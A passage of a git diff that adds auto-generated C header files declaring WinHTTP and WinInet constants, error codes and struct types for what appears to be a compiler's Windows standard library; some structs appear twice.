ERROR_WINHTTP_OPTION_NOT_SETTABLE 0x2eeb +#define ERROR_WINHTTP_SHUTDOWN 0x2eec +#define ERROR_WINHTTP_LOGIN_FAILURE 0x2eef +#define ERROR_WINHTTP_OPERATION_CANCELLED 0x2ef1 +#define ERROR_WINHTTP_INCORRECT_HANDLE_TYPE 0x2ef2 +#define ERROR_WINHTTP_INCORRECT_HANDLE_STATE 0x2ef3 +#define ERROR_WINHTTP_CANNOT_CONNECT 0x2efd +#define ERROR_WINHTTP_CONNECTION_ERROR 0x2efe +#define ERROR_WINHTTP_RESEND_REQUEST 0x2f00 +#define ERROR_WINHTTP_CLIENT_AUTH_CERT_NEEDED 0x2f0c +#define ERROR_WINHTTP_CANNOT_CALL_BEFORE_OPEN 0x2f44 +#define ERROR_WINHTTP_CANNOT_CALL_BEFORE_SEND 0x2f45 +#define ERROR_WINHTTP_CANNOT_CALL_AFTER_SEND 0x2f46 +#define ERROR_WINHTTP_CANNOT_CALL_AFTER_OPEN 0x2f47 +#define ERROR_WINHTTP_HEADER_NOT_FOUND 0x2f76 +#define ERROR_WINHTTP_INVALID_SERVER_RESPONSE 0x2f78 +#define ERROR_WINHTTP_INVALID_HEADER 0x2f79 +#define ERROR_WINHTTP_INVALID_QUERY_REQUEST 0x2f7a +#define ERROR_WINHTTP_HEADER_ALREADY_EXISTS 0x2f7b +#define ERROR_WINHTTP_REDIRECT_FAILED 0x2f7c +#define ERROR_WINHTTP_AUTO_PROXY_SERVICE_ERROR 0x2f92 +#define ERROR_WINHTTP_BAD_AUTO_PROXY_SCRIPT 0x2f86 +#define ERROR_WINHTTP_UNABLE_TO_DOWNLOAD_SCRIPT 0x2f87 +#define ERROR_WINHTTP_UNHANDLED_SCRIPT_TYPE 0x2f90 +#define ERROR_WINHTTP_SCRIPT_EXECUTION_ERROR 0x2f91 +#define ERROR_WINHTTP_NOT_INITIALIZED 0x2f8c +#define ERROR_WINHTTP_SECURE_FAILURE 0x2f8f +#define ERROR_WINHTTP_SECURE_CERT_DATE_INVALID 0x2f05 +#define ERROR_WINHTTP_SECURE_CERT_CN_INVALID 0x2f06 +#define ERROR_WINHTTP_SECURE_INVALID_CA 0x2f0d +#define ERROR_WINHTTP_SECURE_CERT_REV_FAILED 0x2f19 +#define ERROR_WINHTTP_SECURE_CHANNEL_ERROR 0x2f7d +#define ERROR_WINHTTP_SECURE_INVALID_CERT 0x2f89 +#define ERROR_WINHTTP_SECURE_CERT_REVOKED 0x2f8a +#define ERROR_WINHTTP_SECURE_CERT_WRONG_USAGE 0x2f93 +#define ERROR_WINHTTP_AUTODETECTION_FAILED 0x2f94 +#define ERROR_WINHTTP_HEADER_COUNT_EXCEEDED 0x2f95 +#define ERROR_WINHTTP_HEADER_SIZE_OVERFLOW 0x2f96 +#define ERROR_WINHTTP_CHUNKED_ENCODING_HEADER_SIZE_OVERFLOW 0x2f97 +#define ERROR_WINHTTP_RESPONSE_DRAIN_OVERFLOW 0x2f98 +#define ERROR_WINHTTP_CLIENT_CERT_NO_PRIVATE_KEY 0x2f99 +#define ERROR_WINHTTP_CLIENT_CERT_NO_ACCESS_PRIVATE_KEY 0x2f9a +#define ERROR_WINHTTP_CLIENT_AUTH_CERT_NEEDED_PROXY 0x2f9b +#define ERROR_WINHTTP_SECURE_FAILURE_PROXY 0x2f9c +#define ERROR_WINHTTP_RESERVED_189 0x2f9d +#define ERROR_WINHTTP_HTTP_PROTOCOL_MISMATCH 0x2f9e +#define ERROR_WINHTTP_GLOBAL_CALLBACK_FAILED 0x2f9f +#define ERROR_WINHTTP_FEATURE_DISABLED 0x2fa0 +#define ERROR_WINHTTP_FAST_FORWARDING_NOT_SUPPORTED 0x2fa1 +#define WINHTTP_ERROR_LAST 0x2fa1 +#define WINHTTP_RESET_STATE 0x1 +#define WINHTTP_RESET_SWPAD_CURRENT_NETWORK 0x2 +#define WINHTTP_RESET_SWPAD_ALL 0x4 +#define WINHTTP_RESET_SCRIPT_CACHE 0x8 +#define WINHTTP_RESET_ALL 0xffff +#define WINHTTP_RESET_NOTIFY_NETWORK_CHANGED 0x10000 +#define WINHTTP_RESET_OUT_OF_PROC 0x20000 +#define WINHTTP_RESET_DISCARD_RESOLVERS 0x40000 +#define WINHTTP_WEB_SOCKET_MAX_CLOSE_REASON_LENGTH 0x7b +#define WINHTTP_WEB_SOCKET_MIN_KEEPALIVE_VALUE 0x3a98 +#define WINHTTP_PROXY_NOTIFY_CHANGE 0x1 +#define WINHTTP_FEATURE_DISABLE_STREAM_QUEUE 0x1 +#define WINHTTP_FEATURE_IPV6_FAST_FALLBACK 0x2 +#define WINHTTP_FEATURE_CONNECTION_STATS_V0 0x3 +#define WINHTTP_FEATURE_REQUEST_TIMES 0x4 +#define WINHTTP_FEATURE_EXPIRE_CONNECTION 0x5 +#define WINHTTP_FEATURE_DISABLE_SECURE_PROTOCOL_FALLBACK 0x6 +#define WINHTTP_FEATURE_HTTP_PROTOCOL_REQUIRED 0x7 +#define WINHTTP_FEATURE_REQUEST_STATS 0x8 +#define WINHTTP_FEATURE_SERVER_CERT_CHAIN_CONTEXT 0x9 +#define WINHTTP_FEATURE_CONNECTION_STATS_V1 0xc +#define WINHTTP_FEATURE_SECURITY_INFO 0xd +#define WINHTTP_FEATURE_TCP_KEEPALIVE 0xe +#define WINHTTP_FEATURE_TCP_FAST_OPEN 0xf +#define WINHTTP_FEATURE_TLS_FALSE_START 0x10 +#define WINHTTP_FEATURE_IGNORE_CERT_REVOCATION_OFFLINE 0x11 +#define WINHTTP_FEATURE_TLS_PROTOCOL_INSECURE_FALLBACK 0x14 +#define WINHTTP_FEATURE_STREAM_ERROR_CODE 0x15 +#define WINHTTP_FEATURE_REQUIRE_STREAM_END 0x16 +#define WINHTTP_FEATURE_ENABLE_HTTP2_PLUS_CLIENT_CERT 0x17 +#define WINHTTP_FEATURE_FAILED_CONNECTION_RETRIES 0x18 +#define WINHTTP_FEATURE_HTTP2_KEEPALIVE 0x1a +#define WINHTTP_FEATURE_RESOLUTION_HOSTNAME 0x1b +#define WINHTTP_FEATURE_SET_TOKEN_BINDING 0x1c +#define WINHTTP_FEATURE_TOKEN_BINDING_PUBLIC_KEY 0x1d +#define WINHTTP_FEATURE_REFERER_TOKEN_BINDING_HOSTNAME 0x1e +#define WINHTTP_FEATURE_HTTP2_PLUS_TRANSFER_ENCODING 0x1f +#define WINHTTP_FEATURE_RESOLVER_CACHE_CONFIG 0x20 +#define WINHTTP_FEATURE_DISABLE_CERT_CHAIN_BUILDING 0x21 +#define WINHTTP_FEATURE_BACKGROUND_CONNECTIONS 0x22 +#define WINHTTP_FEATURE_FIRST_AVAILABLE_CONNECTION 0x23 +#define WINHTTP_FEATURE_TCP_PRIORITY_STATUS 0x25 +#define WINHTTP_FEATURE_CONNECTION_GUID 0x26 +#define WINHTTP_FEATURE_MATCH_CONNECTION_GUID 0x27 +#define WINHTTP_FEATURE_HTTP2_RECEIVE_WINDOW 0x2b +#define WINHTTP_FEATURE_IS_FEATURE_SUPPORTED 0x2c +#define WINHTTP_FEATURE_ADD_REQUEST_HEADERS_EX 0x2e +#define WINHTTP_FEATURE_SET_PROXY_SETINGS_PER_USER 0x2f +#define WINHTTP_FEATURE_READ_DATA_EX 0x30 +#define WINHTTP_FEATURE_QUERY_HEADERS_EX 0x31 +#define WINHTTP_FEATURE_QUERY_CONNECTION_GROUP 0x32 +#define WINHTTP_FEATURE_FREE_QUERY_CONNECTION_GROUP_RESULT 0x33 +#define WINHTTP_FEATURE_SECURITY_FLAG_IGNORE_ALL_CERT_ERRORS 0x34 +#define WINHTTP_FEATURE_FLAG_SECURE_DEFAULTS 0x35 +#define WINHTTP_FEATURE_EXTENDED_HEADER_FLAG_UNICODE 0x36 +#define WINHTTP_FEATURE_QUERY_FLAG_TRAILERS 0x37 +#define WINHTTP_FEATURE_QUERY_FLAG_WIRE_ENCODING 0x38 +#define WINHTTP_FEATURE_RESOLVER_CACHE_CONFIG_FLAG_SOFT_LIMIT 0x39 +#define WINHTTP_FEATURE_RESOLVER_CACHE_CONFIG_FLAG_BYPASS_CACHE 0x3a +#define WINHTTP_FEATURE_FLAG_AUTOMATIC_CHUNKING 0x3b +#define WINHTTP_FEATURE_QUERY_CONNECTION_GROUP_FLAG_INSECURE 0x3c +#define WINHTTP_FEATURE_MATCH_CONNECTION_GUID_FLAG_REQUIRE_MARKED_CONNECTION 0x3d +#define WINHTTP_FEATURE_QUERY_EX_ALL_HEADERS 0x3e +#define WINHTTP_FEATURE_READ_DATA_EX_FLAG_FILL_BUFFER 0x3f +#define WINHTTP_FEATURE_RESOLVER_CACHE_CONFIG_FLAG_USE_DNS_TTL 0x40 +#define WINHTTP_FEATURE_RESOLVER_CACHE_CONFIG_FLAG_CONN_USE_TTL 0x41 +#define WINHTTP_FEATURE_QUIC_STATS 0x42 +#define WINHTTP_FEATURE_HTTP3_KEEPALIVE 0x45 +#define WINHTTP_FEATURE_HTTP3_HANDSHAKE_TIMEOUT 0x46 +#define WINHTTP_FEATURE_HTTP3_INITIAL_RTT 0x47 +#define WINHTTP_FEATURE_HTTP3_STREAM_ERROR_CODE 0x48 +#define WINHTTP_FEATURE_REQUEST_ANNOTATION 0x49 +#define WINHTTP_FEATURE_DISABLE_PROXY_AUTH_SCHEMES 0x4a +#define WINHTTP_FEATURE_REVERT_IMPERSONATION_SERVER_CERT 0x4b +#define WINHTTP_FEATURE_DISABLE_GLOBAL_POOLING 0x4c +#define WINHTTP_FEATURE_GET_PROXY_SETTINGS_EX 0x4d +#define WINHTTP_FEATURE_SESSION_SCH_CRED 0x4e +#define WINHTTP_FEATURE_QUIC_STATS_V2 0x4f +#define WINHTTP_FEATURE_URL_INCLUDE_DEFAULT_PORT 0x50 +#define WINHTTP_FEATURE_QUIC_STREAM_STATS 0x51 +#define WINHTTP_FEATURE_USE_LOOKASIDE 0x52 +#define WINHTTP_FEATURE_ERROR_LOG_GUID 0x53 +#define WINHTTP_FEATURE_UPGRADE_TO_PROTOCOL 0x58 +#define WINHTTP_FEATURE_CONNECTION_STATS_V2 0x59 +#define WINHTTP_FEATURE_FAST_FORWARD_RESPONSE 0x5a +#define WINHTTP_FEATURE_DISABLE_AIA_FLAG 0x5b +#define WINHTTP_FEATURE_DSCP_TAG 0x5c +#define WINHTTP_FEATURE_HTTP11_DOWNGRADE_TTL 0x5d +#define WINHTTP_FEATURE_SESSION_ERROR_LOG_GUID 0x5e +#define WINHTTP_FEATURE_GET_PROXY_SETTINGS_EX_XBOX 0x5f +#define WINHTTP_WEB_SOCKET_SUCCESS_CLOSE_STATUS 1000 +#define WINHTTP_WEB_SOCKET_ENDPOINT_TERMINATED_CLOSE_STATUS 1001 +#define WINHTTP_WEB_SOCKET_PROTOCOL_ERROR_CLOSE_STATUS 1002 +#define WINHTTP_WEB_SOCKET_INVALID_DATA_TYPE_CLOSE_STATUS 1003 +#define WINHTTP_WEB_SOCKET_EMPTY_CLOSE_STATUS 1005 +#define WINHTTP_WEB_SOCKET_ABORTED_CLOSE_STATUS 1006 +#define WINHTTP_WEB_SOCKET_INVALID_PAYLOAD_CLOSE_STATUS 1007 +#define WINHTTP_WEB_SOCKET_POLICY_VIOLATION_CLOSE_STATUS 1008 +#define WINHTTP_WEB_SOCKET_MESSAGE_TOO_BIG_CLOSE_STATUS 1009 +#define WINHTTP_WEB_SOCKET_UNSUPPORTED_EXTENSIONS_CLOSE_STATUS 1010 +#define WINHTTP_WEB_SOCKET_SERVER_ERROR_CLOSE_STATUS 1011 +#define WINHTTP_WEB_SOCKET_SECURE_HANDSHAKE_ERROR_CLOSE_STATUS 1015 +#define WINHTTP_WEB_SOCKET_BINARY_MESSAGE_BUFFER_TYPE 0 +#define WINHTTP_WEB_SOCKET_BINARY_FRAGMENT_BUFFER_TYPE 1 +#define WINHTTP_WEB_SOCKET_UTF8_MESSAGE_BUFFER_TYPE 2 +#define WINHTTP_WEB_SOCKET_UTF8_FRAGMENT_BUFFER_TYPE 3 +#define WINHTTP_WEB_SOCKET_CLOSE_BUFFER_TYPE 4 +#define AutoLogonPolicy_Always 0 +#define AutoLogonPolicy_OnlyIfBypassProxy 1 +#define AutoLogonPolicy_Never 2 +#define WINHTTP_AUTH_SCHEME_BASIC 0x1 +#define WINHTTP_AUTH_SCHEME_NTLM 0x2 +#define WINHTTP_AUTH_SCHEME_NEGOTIATE 0x10 +#define WINHTTP_INTERNET_SCHEME_HTTP 1 +#define WINHTTP_INTERNET_SCHEME_HTTPS 2 +#define WINHTTP_INTERNET_SCHEME_FTP 3 +#define WINHTTP_INTERNET_SCHEME_SOCKS 4 +#define WINHTTP_PROTOCOL_SEND_OPERATION 0 +#define WINHTTP_PROTOCOL_RECEIVE_OPERATION 1 +#define WinHttpProxySettingsTypeUnknown 0 +#define WinHttpProxySettingsTypeWsl 1 +#define WinHttpProxySettingsTypeWsa 2 +#define WinHttpProxySettingsTypeXBox 3 +#define WinHttpProxyDetectionStart 0 +#define WinHttpProxyDetectionEnd 1 +#define WinHttpConnectionAcquireStart 2 +#define WinHttpConnectionAcquireWaitEnd 3 +#define WinHttpConnectionAcquireEnd 4 +#define WinHttpNameResolutionStart 5 +#define WinHttpNameResolutionEnd 6 +#define WinHttpConnectionEstablishmentStart 7 +#define WinHttpConnectionEstablishmentEnd 8 +#define WinHttpTlsHandshakeClientLeg1Start 9 +#define WinHttpTlsHandshakeClientLeg1End 10 +#define WinHttpTlsHandshakeClientLeg2Start 11 +#define WinHttpTlsHandshakeClientLeg2End 12 +#define WinHttpTlsHandshakeClientLeg3Start 13 +#define WinHttpTlsHandshakeClientLeg3End 14 +#define WinHttpStreamWaitStart 15 +#define WinHttpStreamWaitEnd 16 +#define WinHttpSendRequestStart 17 +#define WinHttpSendRequestHeadersCompressionStart 18 +#define WinHttpSendRequestHeadersCompressionEnd 19 +#define WinHttpSendRequestHeadersEnd 20 +#define WinHttpSendRequestEnd 21 +#define WinHttpReceiveResponseStart 22 +#define WinHttpReceiveResponseHeadersDecompressionStart 23 +#define WinHttpReceiveResponseHeadersDecompressionEnd 24 +#define WinHttpReceiveResponseHeadersEnd 25 +#define WinHttpReceiveResponseBodyDecompressionDelta 26 +#define WinHttpReceiveResponseEnd 27 +#define WinHttpProxyTunnelStart 28 +#define WinHttpProxyTunnelEnd 29 +#define WinHttpProxyTlsHandshakeClientLeg1Start 30 +#define WinHttpProxyTlsHandshakeClientLeg1End 31 +#define WinHttpProxyTlsHandshakeClientLeg2Start 32 +#define WinHttpProxyTlsHandshakeClientLeg2End 33 +#define WinHttpProxyTlsHandshakeClientLeg3Start 34 +#define WinHttpProxyTlsHandshakeClientLeg3End 35 +#define WinHttpRequestTimeLast 36 +#define WinHttpRequestTimeMax 64 +#define WINHTTP_FLAG_BYPASS_PROXY_CACHE 0x100 +#define WINHTTP_FLAG_ESCAPE_DISABLE 0x40 +#define WINHTTP_FLAG_ESCAPE_DISABLE_QUERY 0x80 +#define WINHTTP_FLAG_ESCAPE_PERCENT 0x4 +#define WINHTTP_FLAG_NULL_CODEPAGE 0x8 +#define WINHTTP_FLAG_REFRESH 0x100 +#define WINHTTP_FLAG_SECURE 0x800000 +#define ICU_ESCAPE 0x80000000 +#define ICU_REJECT_USERPWD 0x4000 +#define ICU_DECODE 0x10000000 +#define WINHTTP_ACCESS_TYPE_NO_PROXY 0x1 +#define WINHTTP_ACCESS_TYPE_DEFAULT_PROXY 0x0 +#define WINHTTP_ACCESS_TYPE_NAMED_PROXY 0x3 +#define WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY 0x4 +#define WinHttpSecureDnsSettingDefault 0 +#define WinHttpSecureDnsSettingForcePlaintext 1 +#define WinHttpSecureDnsSettingRequireEncryption 2 +#define WinHttpSecureDnsSettingTryEncryptionWithFallback 3 +#define WinHttpSecureDnsSettingMax 4 +#define SslErrorFlag_UnknownCA 256 +#define SslErrorFlag_CertWrongUsage 512 +#define SslErrorFlag_CertCNInvalid 4096 +#define SslErrorFlag_CertDateInvalid 8192 +#define SslErrorFlag_Ignore_All 13056 +#define SecureProtocol_SSL2 8 +#define SecureProtocol_SSL3 32 +#define SecureProtocol_TLS1 128 +#define SecureProtocol_TLS1_1 512 +#define SecureProtocol_TLS1_2 2048 +#define SecureProtocol_ALL 168 +#define WINHTTP_WEB_SOCKET_SEND_OPERATION 0 +#define WINHTTP_WEB_SOCKET_RECEIVE_OPERATION 1 +#define WINHTTP_WEB_SOCKET_CLOSE_OPERATION 2 +#define WINHTTP_WEB_SOCKET_SHUTDOWN_OPERATION 3 +#define WinHttpConnectFailureCount 0 +#define WinHttpProxyFailureCount 1 +#define WinHttpTlsHandshakeClientLeg1Size 2 +#define WinHttpTlsHandshakeServerLeg1Size 3 +#define WinHttpTlsHandshakeClientLeg2Size 4 +#define WinHttpTlsHandshakeServerLeg2Size 5 +#define WinHttpRequestHeadersSize 6 +#define WinHttpRequestHeadersCompressedSize 7 +#define WinHttpResponseHeadersSize 8 +#define WinHttpResponseHeadersCompressedSize 9 +#define WinHttpResponseBodySize 10 +#define WinHttpResponseBodyCompressedSize 11 +#define WinHttpProxyTlsHandshakeClientLeg1Size 12 +#define WinHttpProxyTlsHandshakeServerLeg1Size 13 +#define WinHttpProxyTlsHandshakeClientLeg2Size 14 +#define WinHttpProxyTlsHandshakeServerLeg2Size 15 +#define WinHttpRequestStatLast 16 +#define WinHttpRequestStatMax 32 +#define WinHttpFastForwardingStateInProgress 0 +#define WinHttpFastForwardingStateSucceeded 1 +#define WinHttpFastForwardingStateClientSideFailed 2 +#define WinHttpFastForwardingStateServerSideFailed 3 +#define WinHttpRequestOption_UserAgentString 0 +#define WinHttpRequestOption_URL 1 +#define WinHttpRequestOption_URLCodePage 2 +#define WinHttpRequestOption_EscapePercentInURL 3 +#define WinHttpRequestOption_SslErrorIgnoreFlags 4 +#define WinHttpRequestOption_SelectCertificate 5 +#define WinHttpRequestOption_EnableRedirects 6 +#define WinHttpRequestOption_UrlEscapeDisable 7 +#define WinHttpRequestOption_UrlEscapeDisableQuery 8 +#define WinHttpRequestOption_SecureProtocols 9 +#define WinHttpRequestOption_EnableTracing 10 +#define WinHttpRequestOption_RevertImpersonationOverSsl 11 +#define WinHttpRequestOption_EnableHttpsToHttpRedirects 12 +#define WinHttpRequestOption_EnablePassportAuthentication 13 +#define WinHttpRequestOption_MaxAutomaticRedirects 14 +#define WinHttpRequestOption_MaxResponseHeaderSize 15 +#define WinHttpRequestOption_MaxResponseDrainSize 16 +#define WinHttpRequestOption_EnableHttp1_1 17 +#define WinHttpRequestOption_EnableCertificateRevocationCheck 18 +#define WinHttpRequestOption_RejectUserpwd 19 + +typedef struct _WINHTTP_REQUEST_STATS { + unsigned long long ullFlags; + unsigned int ulIndex; + unsigned int cStats; + unsigned long long rgullStats[32]; +} WINHTTP_REQUEST_STATS; + +typedef struct _WINHTTP_REQUEST_STATS { + unsigned long long ullFlags; + unsigned int ulIndex; + unsigned int cStats; + unsigned long long rgullStats[32]; +} WINHTTP_REQUEST_STATS; + +typedef struct _URL_COMPONENTS { + unsigned int dwStructSize; + void* lpszScheme; + unsigned int dwSchemeLength; + void* nScheme; + void* lpszHostName; + unsigned int dwHostNameLength; + unsigned short nPort; + void* lpszUserName; + unsigned int dwUserNameLength; + void* lpszPassword; + unsigned int dwPasswordLength; + void* lpszUrlPath; + unsigned int dwUrlPathLength; + void* lpszExtraInfo; + unsigned int dwExtraInfoLength; +} URL_COMPONENTS; + +typedef struct _WINHTTP_CONNECTION_INFO { + unsigned int cbSize; + void* LocalAddress; + void* RemoteAddress; +} WINHTTP_CONNECTION_INFO; + +typedef struct _WINHTTP_CONNECTION_INFO { + unsigned int cbSize; + void* LocalAddress; + void* RemoteAddress; +} WINHTTP_CONNECTION_INFO; + +typedef struct _WINHTTP_MATCH_CONNECTION_GUID { + void* ConnectionGuid; + unsigned long long ullFlags; +} WINHTTP_MATCH_CONNECTION_GUID; + +typedef struct _WINHTTP_MATCH_CONNECTION_GUID { + void* ConnectionGuid; + unsigned long long ullFlags; +} WINHTTP_MATCH_CONNECTION_GUID; + +typedef struct _HTTP_VERSION_INFO { + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; +} HTTP_VERSION_INFO; + +typedef struct _WINHTTP_RESOLVER_CACHE_CONFIG { + unsigned int ulMaxResolverCacheEntries; + unsigned int ulMaxCacheEntryAge; + unsigned int ulMinCacheEntryTtl; + void* SecureDnsSetting; + unsigned long long ullConnResolutionWaitTime; + unsigned long long ullFlags; +} WINHTTP_RESOLVER_CACHE_CONFIG; + +typedef struct _WINHTTP_RESOLVER_CACHE_CONFIG { + unsigned int ulMaxResolverCacheEntries; + unsigned int ulMaxCacheEntryAge; + unsigned int ulMinCacheEntryTtl; + void* SecureDnsSetting; + unsigned long long ullConnResolutionWaitTime; + unsigned long long ullFlags; +} WINHTTP_RESOLVER_CACHE_CONFIG; + +typedef struct _WINHTTP_CERTIFICATE_INFO { + void* ftExpiry; + void* ftStart; + void* lpszSubjectInfo; + void* lpszIssuerInfo; + void* lpszProtocolName; + void* lpszSignatureAlgName; + void* lpszEncryptionAlgName; + unsigned int dwKeySize; +} WINHTTP_CERTIFICATE_INFO; + +typedef struct _WINHTTP_HTTP2_RECEIVE_WINDOW { + unsigned int ulStreamWindow; + unsigned int ulStreamWindowUpdateDelta; +} WINHTTP_HTTP2_RECEIVE_WINDOW; + +typedef struct _WINHTTP_PROXY_SETTINGS_PARAM { + unsigned long long ullFlags; + void* pcwszConnectionName; + void* pcwszProbeHost; +} WINHTTP_PROXY_SETTINGS_PARAM; + +typedef struct _WINHTTP_PROXY_SETTINGS_PARAM { + unsigned long long ullFlags; + void* pcwszConnectionName; + void* pcwszProbeHost; +} WINHTTP_PROXY_SETTINGS_PARAM; + +typedef struct _WINHTTP_AUTOPROXY_OPTIONS { + unsigned int dwFlags; + unsigned int dwAutoDetectFlags; + void* lpszAutoConfigUrl; + void* lpvReserved; + unsigned int dwReserved; + BOOL fAutoLogonIfChallenged; +} WINHTTP_AUTOPROXY_OPTIONS; + +typedef struct _WINHTTP_HEADER_NAME { + void* pwszName; + void* pszName; +} WINHTTP_HEADER_NAME; + +typedef struct _WINHTTP_WEB_SOCKET_STATUS { + unsigned int dwBytesTransferred; + void* eBufferType; +} WINHTTP_WEB_SOCKET_STATUS; + +typedef struct _WINHTTP_PROXY_SETTINGS_EX { + unsigned long long ullGenerationId; + unsigned long long ullFlags; + void* pcwszAutoconfigUrl; + void* pcwszProxy; + void* pcwszSecureProxy; + unsigned int cProxyBypasses; + void* rgpcwszProxyBypasses; + unsigned int dwInterfaceIndex; + void* pcwszConnectionName; +} WINHTTP_PROXY_SETTINGS_EX; + +typedef struct _WINHTTP_PROXY_SETTINGS_EX { + unsigned long long ullGenerationId; + unsigned long long ullFlags; + void* pcwszAutoconfigUrl; + void* pcwszProxy; + void* pcwszSecureProxy; + unsigned int cProxyBypasses; + void* rgpcwszProxyBypasses; + unsigned int dwInterfaceIndex; + void* pcwszConnectionName; +} WINHTTP_PROXY_SETTINGS_EX; + +typedef struct _WINHTTP_REQUEST_TIMES { + unsigned int cTimes; + unsigned long long rgullTimes[64]; +} WINHTTP_REQUEST_TIMES; + +typedef struct _WINHTTP_REQUEST_TIMES { + unsigned int cTimes; + unsigned long long rgullTimes[64]; +} WINHTTP_REQUEST_TIMES; + +typedef struct _WINHTTP_PROXY_SETTINGS { + unsigned int dwStructSize; + unsigned int dwFlags; + unsigned int dwCurrentSettingsVersion; + void* pwszConnectionName; + void* pwszProxy; + void* pwszProxyBypass; + void* pwszAutoconfigUrl; + void* pwszAutoconfigSecondaryUrl; + unsigned int dwAutoDiscoveryFlags; + void* pwszLastKnownGoodAutoConfigUrl; + unsigned int dwAutoconfigReloadDelayMins; + void* ftLastKnownDetectTime; + unsigned int dwDetectedInterfaceIpCount; + void* pdwDetectedInterfaceIp; + unsigned int cNetworkKeys; + void* pNetworkKeys; +} WINHTTP_PROXY_SETTINGS; + +typedef struct _WINHTTP_QUERY_CONNECTION_GROUP_RESULT { + unsigned int cHosts; + void* pHostConnectionGroups; +} WINHTTP_QUERY_CONNECTION_GROUP_RESULT; + +typedef struct _WINHTTP_HOST_CONNECTION_GROUP { + void* pwszHost; + unsigned int cConnectionGroups; + void* pConnectionGroups; +} WINHTTP_HOST_CONNECTION_GROUP; + +typedef struct _WINHTTP_PROXY_NETWORKING_KEY { + unsigned char pbBuffer[128]; +} WINHTTP_PROXY_NETWORKING_KEY; + +typedef struct _WINHTTP_CREDS_EX { + void* lpszUserName; + void* lpszPassword; + void* lpszRealm; + void* dwAuthScheme; + void* lpszHostName; + unsigned int dwPort; + void* lpszUrl; +} WINHTTP_CREDS_EX; + +typedef struct _WINHTTP_FAILED_CONNECTION_RETRIES { + unsigned int dwMaxRetries; + unsigned int dwAllowedRetryConditions; +} WINHTTP_FAILED_CONNECTION_RETRIES; + +typedef struct _WINHTTP_WEB_SOCKET_ASYNC_RESULT { + void* AsyncResult; + void* Operation; +} WINHTTP_WEB_SOCKET_ASYNC_RESULT; + +typedef struct _WINHTTP_CURRENT_USER_IE_PROXY_CONFIG { + BOOL fAutoDetect; + void* lpszAutoConfigUrl; + void* lpszProxy; + void* lpszProxyBypass; +} WINHTTP_CURRENT_USER_IE_PROXY_CONFIG; + +typedef struct _WINHTTP_FAST_FORWARDING_STATUS { + void* TransferState; + int NtStatus; + unsigned int dwError; + unsigned long long ullBytesTransferred; +} WINHTTP_FAST_FORWARDING_STATUS; + +typedef struct _WINHTTP_FAST_FORWARDING_STATUS { + void* TransferState; + int NtStatus; + unsigned int dwError; + unsigned long long ullBytesTransferred; +} WINHTTP_FAST_FORWARDING_STATUS; + +typedef struct _WINHTTP_CONNECTION_GROUP { + unsigned int cConnections; + void* guidGroup; +} WINHTTP_CONNECTION_GROUP; + +typedef struct _WINHTTP_ASYNC_RESULT { + unsigned long long dwResult; + unsigned int dwError; +} WINHTTP_ASYNC_RESULT; + +typedef struct _WINHTTP_PROTOCOL_ASYNC_RESULT { + void* AsyncResult; + void* Operation; +} WINHTTP_PROTOCOL_ASYNC_RESULT; + +typedef struct _WINHTTP_CREDS { + void* lpszUserName; + void* lpszPassword; + void* lpszRealm; + void* dwAuthScheme; + void* lpszHostName; + unsigned int dwPort; +} WINHTTP_CREDS; + +typedef struct _WINHTTP_PROXY_INFO { + void* dwAccessType; + void* lpszProxy; + void* lpszProxyBypass; +} WINHTTP_PROXY_INFO; + +typedef struct _WINHTTP_PROXY_RESULT { + unsigned int cEntries; + void* pEntries; +} WINHTTP_PROXY_RESULT; + +typedef struct _WINHTTP_PROXY_RESULT_ENTRY { + BOOL fProxy; + BOOL fBypass; + void* ProxyScheme; + void* pwszProxy; + unsigned short ProxyPort; +} WINHTTP_PROXY_RESULT_ENTRY; + +typedef struct _WINHTTP_PROXY_RESULT_EX { + unsigned int cEntries; + void* pEntries; + void* hProxyDetectionHandle; + unsigned int dwProxyInterfaceAffinity; +} WINHTTP_PROXY_RESULT_EX; + +typedef struct _WINHTTP_EXTENDED_HEADER { + void* Anonymous1; + void* Anonymous2; +} WINHTTP_EXTENDED_HEADER; + +// SKIPPED struct WinHttpRequest: no representable fields diff --git a/stdlib/win32/wininet.h b/stdlib/win32/wininet.h new file mode 100644 index 0000000..e604c95 --- /dev/null +++ b/stdlib/win32/wininet.h @@ -0,0 +1,1683 @@ +// Generated by entc-win32gen from `Windows.Win32.Networking.WinInet`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +// SKIPPED const DIALPROP_USERNAME: non-integer constant +// SKIPPED const DIALPROP_PASSWORD: non-integer constant +// SKIPPED const DIALPROP_DOMAIN: non-integer constant +// SKIPPED const DIALPROP_SAVEPASSWORD: non-integer constant +// SKIPPED const DIALPROP_REDIALCOUNT: non-integer constant +// SKIPPED const DIALPROP_REDIALINTERVAL: non-integer constant +// SKIPPED const DIALPROP_PHONENUMBER: non-integer constant +// SKIPPED const DIALPROP_LASTERROR: non-integer constant +// SKIPPED const DIALPROP_RESOLVEDPHONE: non-integer constant +#define DIALENG_OperationComplete 0x10000 +#define DIALENG_RedialAttempt 0x10001 +#define DIALENG_RedialWait 0x10002 +#define INTERNET_INVALID_PORT_NUMBER 0x0 +#define INTERNET_DEFAULT_FTP_PORT 0x15 +#define INTERNET_DEFAULT_GOPHER_PORT 0x46 +#define INTERNET_DEFAULT_SOCKS_PORT 0x438 +#define INTERNET_MAX_HOST_NAME_LENGTH 0x100 +#define INTERNET_MAX_USER_NAME_LENGTH 0x80 +#define INTERNET_MAX_PASSWORD_LENGTH 0x80 +#define INTERNET_MAX_PORT_NUMBER_LENGTH 0x5 +#define INTERNET_MAX_PORT_NUMBER_VALUE 0xffff +#define INTERNET_KEEP_ALIVE_UNKNOWN 0xffffffff +#define INTERNET_KEEP_ALIVE_ENABLED 0x1 +#define INTERNET_KEEP_ALIVE_DISABLED 0x0 +#define INTERNET_REQFLAG_FROM_CACHE 0x1 +#define INTERNET_REQFLAG_ASYNC 0x2 +#define INTERNET_REQFLAG_VIA_PROXY 0x4 +#define INTERNET_REQFLAG_NO_HEADERS 0x8 +#define INTERNET_REQFLAG_PASSIVE 0x10 +#define INTERNET_REQFLAG_CACHE_WRITE_DISABLED 0x40 +#define INTERNET_REQFLAG_NET_TIMEOUT 0x80 +#define INTERNET_FLAG_IDN_DIRECT 0x1 +#define INTERNET_FLAG_IDN_PROXY 0x2 +#define INTERNET_FLAG_RELOAD 